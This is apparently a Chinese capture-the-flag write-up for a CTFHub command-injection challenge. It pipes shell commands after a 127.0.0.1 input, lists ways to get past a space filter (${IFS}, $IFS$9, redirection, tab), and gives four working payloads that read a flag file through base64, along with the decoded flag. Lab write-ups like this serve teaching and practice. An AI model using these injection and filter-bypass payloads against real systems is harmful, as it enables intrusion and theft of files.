1. 查看当前目录:127.0.0.1|ls
2. 查看 flag_890277429145.php
127.0.0.1|cat flag_890277429145.php
根据题目可以知道空格被过滤掉了
3.空格可以用以下字符代替:
< 、>、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
payload:
127.0.0.1|cat<flag_890277429145.php|base64
127.0.0.1|cat>flag_890277429145.php|base64
127.0.0.1|cat${IFS}flag_890277429145.php|base64
127.0.0.1|cat$IFS$9flag_890277429145.php|base64
base64 解密:
<?php // ctfhub{0f8603081311cfa9c7d1f760}